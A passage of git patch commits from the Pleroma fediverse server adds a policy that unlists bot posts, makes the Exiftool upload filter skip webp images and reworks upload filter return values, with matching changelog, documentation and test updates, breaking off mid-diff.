Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy defp generate_messages(actor) do {%{ -- cgit v1.2.3 From d074e54013cb38d308693891e0353c0dccc54b85 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:28:29 +0200 Subject: ForceBotUnlistedPolicy: try to fix test 2 --- test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs | 1 + 1 file changed, 1 insertion(+) diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs index 85ca95b0a..86dd9ddae 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -7,6 +7,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do import Pleroma.Factory alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" defp generate_messages(actor) do {%{ -- cgit v1.2.3 From 95688c90ad9cd6438a764b4ea6e0f2e3b594b5c8 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Tue, 8 Sep 2020 01:13:49 +0200 Subject: ForceBotUnlistedPolicy: simplify code --- .../web/activity_pub/mrf/force_bot_unlisted_policy.ex | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex index 7290f444b..ea9c3d3f5 100644 --- a/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy.ex @@ -9,15 +9,10 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy do require Pleroma.Constants - defp check_by_actor_type(user) do - if user.actor_type in ["Application", "Service"], do: 1.0, else: 0.0 - end - - defp check_by_nickname(user) do - if Regex.match?(~r/bot@|ebooks@/i, user.nickname), do: 1.0, else: 0.0 - end + defp check_by_actor_type(user), do: user.actor_type in ["Application", "Service"] + defp check_by_nickname(user), do: Regex.match?(~r/bot@|ebooks@/i, user.nickname) - defp botness_score(user), do: check_by_actor_type(user) + check_by_nickname(user) + defp check_if_bot(user), do: check_by_actor_type(user) or check_by_nickname(user) @impl true def filter( @@ -30,7 +25,7 @@ def filter( } = message ) do user = User.get_cached_by_ap_id(actor) - isbot = 0.8 < botness_score(user) + isbot = check_if_bot(user) if isbot and Enum.member?(to, Pleroma.Constants.as_public()) do to = List.delete(to, Pleroma.Constants.as_public()) ++ [user.follower_address] -- cgit v1.2.3 From d8a48f838697ce6f1d37f5504c1e51b316aed037 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Tue, 8 Sep 2020 12:23:08 +0300 Subject: CHANGELOG.md: Split settings renaming to 2 separate entries --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f303e22a7..e6180a6da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed -- Settings renaming: `:await_up_timeout` in `:connections_pool` namespace to `connect_timeout`, `timeout` in `pools` namespace to `recv_timeout`. +- Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. +- Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. ### Removed -- cgit v1.2.3 From fa347b9c2f416cd2c402e3e6eebb561dfc0ee8a8 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Wed, 26 Aug 2020 13:32:03 -0500 Subject: Fix uploading webp image files when Exiftool Upload Filter is enabled --- CHANGELOG.md | 1 + lib/pleroma/upload/filter/exiftool.ex | 17 +++++++++++++---- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46f1e859b..cfe0651c8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -138,6 +138,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Fix whole_word always returning false on filter get requests - Migrations not working on OTP releases if the database was connected over ssl - Fix relay following +- Fixed uploading webp images when the Exiftool Upload Filter is enabled ## [2.0.7] - 2020-06-13 diff --git a/lib/pleroma/upload/filter/exiftool.ex b/lib/pleroma/upload/filter/exiftool.ex index ea8798fe3..a91bd5e24 100644 --- a/lib/pleroma/upload/filter/exiftool.ex +++ b/lib/pleroma/upload/filter/exiftool.ex @@ -10,9 +10,20 @@ defmodule Pleroma.Upload.Filter.Exiftool do @behaviour Pleroma.Upload.Filter @spec filter(Pleroma.Upload.t()) :: :ok | {:error, String.t()} - def filter(%Pleroma.Upload{tempfile: file, content_type: "image" <> _}) do + def filter(%Pleroma.Upload{name: file, tempfile: path, content_type: "image" <> _}) do + # webp is not compatible with exiftool at this time + if Regex.match?(~r/\.(webp)$/i, file) do + :ok + else + strip_exif(path) + end + end + + def filter(_), do: :ok + + defp strip_exif(path) do try do - case System.cmd("exiftool", ["-overwrite_original", "-gps:all=", file], parallelism: true) do + case System.cmd("exiftool", ["-overwrite_original", "-gps:all=", path], parallelism: true) do {_response, 0} -> :ok {error, 1} -> {:error, error} end @@ -21,6 +32,4 @@ def filter(%Pleroma.Upload{tempfile: file, content_type: "image" <> _}) do {:error, "exiftool command not found"} end end - - def filter(_), do: :ok end -- cgit v1.2.3 From 2165a249744a1ad4386a9d237871abe88e298942 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:40:59 -0500 Subject: Improve upload filter return values so we can identify when filters make no changes to the input --- lib/pleroma/upload/filter.ex | 13 ++++++++++--- lib/pleroma/upload/filter/anonymize_filename.ex | 4 +++- lib/pleroma/upload/filter/dedupe.ex | 4 ++-- lib/pleroma/upload/filter/exiftool.ex | 8 ++++---- lib/pleroma/upload/filter/mogrifun.ex | 6 +++--- lib/pleroma/upload/filter/mogrify.ex | 6 +++--- test/upload/filter/anonymize_filename_test.exs | 6 +++--- test/upload/filter/dedupe_test.exs | 1 + test/upload/filter/exiftool_test.exs | 2 +- test/upload/filter/mogrifun_test.exs | 2 +- test/upload/filter/mogrify_test.exs | 2 +- 11 files changed, 32 insertions(+), 22 deletions(-) diff --git a/lib/pleroma/upload/filter.ex b/lib/pleroma/upload/filter.ex index dbdadc97f..661135634 100644 --- a/lib/pleroma/upload/filter.ex +++ b/lib/pleroma/upload/filter.ex @@ -15,7 +15,11 @@ defmodule Pleroma.Upload.Filter do require Logger - @callback filter(Pleroma.Upload.t()) :: :ok | {:ok, Pleroma.Upload.t()} | {:error, any()} + @callback filter(Pleroma.Upload.t()) :: + {:ok, :filtered} + | {:ok, :noop} + | {:ok, :filtered, Pleroma.Upload.t()} + | {:error, any()} @spec filter([module()], Pleroma.Upload.t()) :: {:ok, Pleroma.Upload.t()} | {:error, any()} @@ -25,10 +29,13 @@ def filter([], upload) do def filter([filter | rest], upload) do case filter.filter(upload) do - :ok -> + {:ok, :filtered} -> filter(rest, upload) - {:ok, upload} -> + {:ok, :filtered, upload} -> + filter(rest, upload) + + {:ok, :noop} -> filter(rest, upload) error -> diff --git a/lib/pleroma/upload/filter/anonymize_filename.ex b/lib/pleroma/upload/filter/anonymize_filename.ex index 07ead8203..fc456e4f4 100644 --- a/lib/pleroma/upload/filter/anonymize_filename.ex +++ b/lib/pleroma/upload/filter/anonymize_filename.ex @@ -16,9 +16,11 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilename do def filter(%Upload{name: name} = upload) do extension = List.last(String.split(name, ".")) name = predefined_name(extension) || random(extension) - {:ok, %Upload{upload | name: name}} + {:ok, :filtered, %Upload{upload | name: name}} end + def filter(_), do: {:ok, :noop} + @spec predefined_name(String.t()) :: String.t() | nil defp predefined_name(extension) do with name when not is_nil(name) <- Config.get([__MODULE__, :text]), diff --git a/lib/pleroma/upload/filter/dedupe.ex b/lib/pleroma/upload/filter/dedupe.ex index 41218a918..86cbc8996 100644 --- a/lib/pleroma/upload/filter/dedupe.ex +++ b/lib/pleroma/upload/filter/dedupe.ex @@ -17,8 +17,8 @@ def filter(%Upload{name: name, tempfile: tempfile} = upload) do |> Base.encode16(case: :lower) filename = shasum <> "." <> extension - {:ok, %Upload{upload | id: shasum, path: filename}} + {:ok, :filtered, %Upload{upload | id: shasum, path: filename}} end - def filter(_), do: :ok + def filter(_), do: {:ok, :noop} end diff --git a/lib/pleroma/upload/filter/exiftool.ex b/lib/pleroma/upload/filter/exiftool.ex index a91bd5e24..94d12c01b 100644 --- a/lib/pleroma/upload/filter/exiftool.ex +++ b/lib/pleroma/upload/filter/exiftool.ex @@ -9,22 +9,22 @@ defmodule Pleroma.Upload.Filter.Exiftool do """ @behaviour Pleroma.Upload.Filter - @spec filter(Pleroma.Upload.t()) :: :ok | {:error, String.t()} + @spec filter(Pleroma.Upload.t()) :: {:ok, any()} | {:error, String.t()} def filter(%Pleroma.Upload{name: file, tempfile: path, content_type: "image" <> _}) do # webp is not compatible with exiftool at this time if Regex.match?(~r/\.(webp)$/i, file) do - :ok + {:ok, :noop} else strip_exif(path) end end - def filter(_), do: :ok + def filter(_), do: {:ok, :noop} defp strip_exif(path) do try do case System.cmd("exiftool", ["-overwrite_original", "-gps:all=", path], parallelism: true) do - {_response, 0} -> :ok + {_response, 0} -> {:ok, :filtered} {error, 1} -> {:error, error} end rescue diff --git a/lib/pleroma/upload/filter/mogrifun.ex b/lib/pleroma/upload/filter/mogrifun.ex index c8fa7b190..363e5cf0f 100644 --- a/lib/pleroma/upload/filter/mogrifun.ex +++ b/lib/pleroma/upload/filter/mogrifun.ex @@ -38,16 +38,16 @@ defmodule Pleroma.Upload.Filter.Mogrifun do [{"fill", "yellow"}, {"tint", "40"}] ] - @spec filter(Pleroma.Upload.t()) :: :ok | {:error, String.t()} + @spec filter(Pleroma.Upload.t()) :: {:ok, atom()} | {:error, String.t()} def filter(%Pleroma.Upload{tempfile: file, content_type: "image" <> _}) do try do Filter.Mogrify.do_filter(file, [Enum.random(@filters)]) - :ok + {:ok, :filtered} rescue _e in ErlangError -> {:error, "mogrify command not found"} end end - def filter(_), do: :ok + def filter(_), do: {:ok, :noop} end diff --git a/lib/pleroma/upload/filter/mogrify.ex b/lib/pleroma/upload/filter/mogrify.ex index 7a45add5a..71968fd9c 100644 --- a/lib/pleroma/upload/filter/mogrify.ex +++ b/lib/pleroma/upload/filter/mogrify.ex @@ -8,18 +8,18 @@ defmodule Pleroma.Upload.Filter.Mogrify do @type conversion :: action :: String.t() | {action :: String.t(), opts :: String.t()} @type conversions :: conversion() | [conversion()] - @spec filter(Pleroma.Upload.t()) :: :ok | {:error, String.t()} + @spec filter(Pleroma.Upload.t()) :: {:ok, :atom} | {:error, String.t()} def filter(%Pleroma.Upload{tempfile: file, content_type: "image" <> _}) do try do do_filter(file, Pleroma.Config.get!([__MODULE__, :args])) - :ok + {:ok, :filtered} rescue _e in ErlangError -> {:error, "mogrify command not found"} end end - def filter(_), do: :ok + def filter(_), do: {:ok, :noop} def do_filter(file, filters) do file diff --git a/test/upload/filter/anonymize_filename_test.exs b/test/upload/filter/anonymize_filename_test.exs index adff70f57..19b915cc8 100644 --- a/test/upload/filter/anonymize_filename_test.exs +++ b/test/upload/filter/anonymize_filename_test.exs @@ -24,18 +24,18 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do test "it replaces filename on pre-defined text", %{upload_file: upload_file} do Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert name == "custom-file.png" end test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert name == "custom-file.jpg" end test "it replaces filename on random text", %{upload_file: upload_file} do - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert <<_::bytes-size(14)>> <> ".jpg" = name refute name == "an… image.jpg" end diff --git a/test/upload/filter/dedupe_test.exs b/test/upload/filter/dedupe_test.exs index 966c353f7..75c7198e1 100644 --- a/test/upload/filter/dedupe_test.exs +++ b/test/upload/filter/dedupe_test.exs @@ -25,6 +25,7 @@ test "adds shasum" do assert { :ok, + :filtered, %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} } = Dedupe.filter(upload) end diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 8ed7d650b..094253a25 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -21,7 +21,7 @@ test "apply exiftool filter" do tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") } - assert Filter.Exiftool.filter(upload) == :ok + assert Filter.Exiftool.filter(upload) == {:ok, :filtered} {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) diff --git a/test/upload/filter/mogrifun_test.exs b/test/upload/filter/mogrifun_test.exs index 2426a8496..dc1e9e78f 100644 --- a/test/upload/filter/mogrifun_test.exs +++ b/test/upload/filter/mogrifun_test.exs @@ -36,7 +36,7 @@ test "apply mogrify filter" do save: fn _f, _o -> :ok end ]} ]) do - assert Filter.Mogrifun.filter(upload) == :ok + assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} end Task.await(task) diff --git a/test/upload/filter/mogrify_test.exs b/test/upload/filter/mogrify_test.exs index 62ca30487..bf64b96b3 100644 --- a/test/upload/filter/mogrify_test.exs +++ b/test/upload/filter/mogrify_test.exs @@ -33,7 +33,7 @@ test "apply mogrify filter" do custom: fn _m, _a -> :ok end, custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, save: fn _f, _o -> :ok end do - assert Filter.Mogrify.filter(upload) == :ok + assert Filter.Mogrify.filter(upload) == {:ok, :filtered} end Task.await(task) -- cgit v1.2.3 From 3a98960c2684229435c5d04e4f3e0611098ceea2 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:50:16 -0500 Subject: Verify webp files are not processed with exiftool --- test/upload/filter/exiftool_test.exs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 094253a25..fe24036d9 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -30,4 +30,15 @@ test "apply exiftool filter" do assert String.match?(exif_original, ~r/GPS/) refute String.match?(exif_filtered, ~r/GPS/) end + + test "verify webp files are skipped" do + upload = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/webp", + path: Path.absname("/dev/null"), + tempfile: Path.absname("/dev/null") + } + + assert Filter.Exiftool.filter(upload) == {:ok, :noop} + end end -- cgit v1.2.3 From 216c84a8f4d82649110ffaa2bc9d02b879805c5f Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:56:05 -0500 Subject: Bypass the filter based on content-type as well in case a webp image is uploaded with the wrong file extension. --- lib/pleroma/upload/filter/exiftool.ex | 5 ++++- test/upload/filter/exiftool_test.exs | 10 +++++++--- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/upload/filter/exiftool.ex b/lib/pleroma/upload/filter/exiftool.ex index 94d12c01b..b07a671ac 100644 --- a/lib/pleroma/upload/filter/exiftool.ex +++ b/lib/pleroma/upload/filter/exiftool.ex @@ -10,8 +10,11 @@ defmodule Pleroma.Upload.Filter.Exiftool do @behaviour Pleroma.Upload.Filter @spec filter(Pleroma.Upload.t()) :: {:ok, any()} | {:error, String.t()} + + # webp is not compatible with exiftool at this time + def filter(%Pleroma.Upload{content_type: "image/webp"}), do: {:ok, :noop} + def filter(%Pleroma.Upload{name: file, tempfile: path, content_type: "image" <> _}) do - # webp is not compatible with exiftool at this time if Regex.match?(~r/\.(webp)$/i, file) do {:ok, :noop} else diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index fe24036d9..84a3f8b30 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -34,11 +34,15 @@ test "apply exiftool filter" do test "verify webp files are skipped" do upload = %Pleroma.Upload{ name: "sample.webp", - content_type: "image/webp", - path: Path.absname("/dev/null"), - tempfile: Path.absname("/dev/null") + content_type: "image/webp" + } + + bad_type = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/jpeg" } assert Filter.Exiftool.filter(upload) == {:ok, :noop} + assert Filter.Exiftool.filter(bad_type) == {:ok, :noop} end end -- cgit v1.2.3 From 4ea07f74e9416da8f97a12cfdc24da82e1c00d91 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 22:18:01 -0500 Subject: Revert/simplify. We only need to check the content-type. There's no chance a webp file will get mismatched as another image type. --- lib/pleroma/upload/filter/exiftool.ex | 16 ++++------------ test/upload/filter/exiftool_test.exs | 6 ------ 2 files changed, 4 insertions(+), 18 deletions(-) diff --git a/lib/pleroma/upload/filter/exiftool.ex b/lib/pleroma/upload/filter/exiftool.ex index b07a671ac..1fd0cfdaa 100644 --- a/lib/pleroma/upload/filter/exiftool.ex +++ b/lib/pleroma/upload/filter/exiftool.ex @@ -14,19 +14,9 @@ defmodule Pleroma.Upload.Filter.Exiftool do # webp is not compatible with exiftool at this time def filter(%Pleroma.Upload{content_type: "image/webp"}), do: {:ok, :noop} - def filter(%Pleroma.Upload{name: file, tempfile: path, content_type: "image" <> _}) do - if Regex.match?(~r/\.(webp)$/i, file) do - {:ok, :noop} - else - strip_exif(path) - end - end - - def filter(_), do: {:ok, :noop} - - defp strip_exif(path) do + def filter(%Pleroma.Upload{tempfile: file, content_type: "image" <> _}) do try do - case System.cmd("exiftool", ["-overwrite_original", "-gps:all=", path], parallelism: true) do + case System.cmd("exiftool", ["-overwrite_original", "-gps:all=", file], parallelism: true) do {_response, 0} -> {:ok, :filtered} {error, 1} -> {:error, error} end @@ -35,4 +25,6 @@ defp strip_exif(path) do {:error, "exiftool command not found"} end end + + def filter(_), do: {:ok, :noop} end diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 84a3f8b30..d4cd4ba11 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -37,12 +37,6 @@ test "verify webp files are skipped" do content_type: "image/webp" } - bad_type = %Pleroma.Upload{ - name: "sample.webp", - content_type: "image/jpeg" - } - assert Filter.Exiftool.filter(upload) == {:ok, :noop} - assert Filter.Exiftool.filter(bad_type) == {:ok, :noop} end end -- cgit v1.2.3 From 0f27211dd0b9177abf0eb8b10665c6351f07756a Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Tue, 8 Sep 2020 12:28:38 +0300 Subject: CHANGELOG.md: move the exiftool webp entry to a proper section Also clarify how it was fixed --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cfe0651c8..527df8438 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Possible OOM errors with the default HTTP adapter +- Fixed uploading webp images when the Exiftool Upload Filter is enabled by skipping them - Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers - Mastodon API: Timelines hanging for (`number of posts with links * rich media timeout`) in the worst case. Reduced to just rich media timeout. @@ -138,7 +139,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Fix whole_word always returning false on filter get requests - Migrations not working on OTP releases if the database was connected over ssl - Fix relay following -- Fixed uploading webp images when the Exiftool Upload Filter is enabled ## [2.0.7] - 2020-06-13 -- cgit v1.2.3 From 7215563641e2a5096293128519d6a454aabc46f2 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Tue, 8 Sep 2020 11:32:46 +0000 Subject: description.exs: add ForceBotUnlistedPolicy --- config/description.exs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/config/description.exs b/config/description.exs index 18c133f02..2191e8d6d 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1669,6 +1669,15 @@ } ] }, + %{ + group: :pleroma, + key: :mrf_force_bot_unlisted, + tab: :mrf, + related_policy: "Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy", + label: "MRF Force Bot Unlisted Policy", + type: :boolean, + description: "Makes bot posts to disappear from public timelines" + }, %{ group: :pleroma, key: :mrf_subchain, -- cgit v1.2.3 From efff2caccccae76dd749df67322c61a70957268b Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Tue, 8 Sep 2020 11:34:04 +0000 Subject: docs: cheatsheet: add ForceBotUnlistedPolicy --- docs/configuration/cheatsheet.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index a9a650fab..2ca4d7351 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -115,6 +115,7 @@ To add configuration to your config file, you can copy it from the base config. * `Pleroma.Web.ActivityPub.MRF.VocabularyPolicy`: Restricts activities to a configured set of vocabulary. (See [`:mrf_vocabulary`](#mrf_vocabulary)). * `Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy`: Rejects or delists posts based on their age when received. (See [`:mrf_object_age`](#mrf_object_age)). * `Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy`: Sets a default expiration on all posts made by users of the local instance. Requires `Pleroma.ActivityExpiration` to be enabled for processing the scheduled delections. + * `Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy`: Makes all bot posts to disappear from public timelines. * `transparency`: Make the content of your Message Rewrite Facility settings public (via nodeinfo). * `transparency_exclusions`: Exclude specific instance names from MRF transparency. The use of the exclusions feature will be disclosed in nodeinfo as a boolean value. -- cgit v1.2.3 From 5d814f739cd2bb55822e0cfdb9ad2526d10482bb Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Tue, 8 Sep 2020 11:35:34 +0000 Subject: changelog: add ForceBotUnlistedPolicy --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46f1e859b..1b1ea02ac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## Unreleased +### Added + +- MRF policy to rewrite bot posts scope from public to unlisted + ### Removed - **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. -- cgit v1.2.3 From bb0d7b7aaad4f441a14c94c56081ec30c96ea799 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 8 Sep 2020 09:31:47 -0500 Subject: Revert "description.exs: add ForceBotUnlistedPolicy" This reverts commit 7215563641e2a5096293128519d6a454aabc46f2. --- config/description.exs | 9 --------- 1 file changed, 9 deletions(-) diff --git a/config/description.exs b/config/description.exs index d9f9b6b84..eac97ad64 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1669,15 +1669,6 @@ } ] }, - %{ - group: :pleroma, - key: :mrf_force_bot_unlisted, - tab: :mrf, - related_policy: "Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy", - label: "MRF Force Bot Unlisted Policy", - type: :boolean, - description: "Makes bot posts to disappear from public timelines" - }, %{ group: :pleroma, key: :mrf_subchain, -- cgit v1.2.3 From 788dececff5d1cea48cf37e59d9a46b48e0db6ed Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 16:08:01 +0200 Subject: test: remove extraneous :instances_favicons config bits --- config/test.exs | 2 -- test/web/instances/instance_test.exs | 2 -- 2 files changed, 4 deletions(-) diff --git a/config/test.exs b/config/test.exs index e9c2273e8..0ee6f1b7f 100644 --- a/config/test.exs +++ b/config/test.exs @@ -114,8 +114,6 @@ config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: true -config :pleroma, :instances_favicons, enabled: false - config :pleroma, Pleroma.Uploaders.S3, bucket: nil, streaming_enabled: true, diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index 5d4efcebe..dc6ace843 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -112,8 +112,6 @@ test "Scrapes favicon URLs" do end test "Returns nil on too long favicon URLs" do - clear_config([:instances_favicons, :enabled], true) - long_favicon_url = "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" -- cgit v1.2.3 From f6723dc9bd4f05319835158be9937dda4400feb9 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 15:47:20 +0200 Subject: account_view_test: Remove empty test --- test/web/mastodon_api/views/account_view_test.exs | 3 --- 1 file changed, 3 deletions(-) diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 68a5d0091..9f22f9dcf 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -116,9 +116,6 @@ test "is nil when :instances_favicons is disabled", %{user: user} do end end - test "Favicon when :instance_favicons is enabled" do - end - test "Represent the user account for the account owner" do user = insert(:user) -- cgit v1.2.3 From fd7e9bdd25ad05eb6fca109be3b0fe5fa01a71bb Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 8 Sep 2020 17:12:38 +0300 Subject: don't run async tests, which use Mock --- test/plugs/admin_secret_authentication_plug_test.exs | 2 +- test/plugs/oauth_scopes_plug_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/test/plugs/admin_secret_authentication_plug_test.exs b/test/plugs/admin_secret_authentication_plug_test.exs index 89df03c4b..14094eda8 100644 --- a/test/plugs/admin_secret_authentication_plug_test.exs +++ b/test/plugs/admin_secret_authentication_plug_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.AdminSecretAuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase import Mock import Pleroma.Factory diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs index 884de7b4d..334316043 100644 --- a/test/plugs/oauth_scopes_plug_test.exs +++ b/test/plugs/oauth_scopes_plug_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.OAuthScopesPlugTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Repo -- cgit v1.2.3 From 87d2805791e1dd6746009e8c1445719e8cbfd31d Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 8 Sep 2020 17:29:28 +0300 Subject: combo fixes --- lib/pleroma/stats.ex | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/pleroma/stats.ex b/lib/pleroma/stats.ex index e7f8d272c..e5c9c668b 100644 --- a/lib/pleroma/stats.ex +++ b/lib/pleroma/stats.ex @@ -23,6 +23,7 @@ def start_link(_) do @impl true def init(_args) do + if Pleroma.Config.get(:env) == :test, do: :ok = Ecto.Adapters.SQL.Sandbox.checkout(Repo) {:ok, nil, {:continue, :calculate_stats}} end -- cgit v1.2.3 From ee0e05f9301e149c769f36bfd0fc8527ec7b6326 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 10:43:57 +0200 Subject: Drop unused "inReplyToAtomUri" in objects --- lib/pleroma/web/activity_pub/transmogrifier.ex | 4 +--- test/web/activity_pub/transmogrifier_test.exs | 14 ++++---------- 2 files changed, 5 insertions(+), 13 deletions(-) diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index 0831efadc..af4384213 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -168,7 +168,6 @@ def fix_in_reply_to(object, options \\ []) def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options) when not 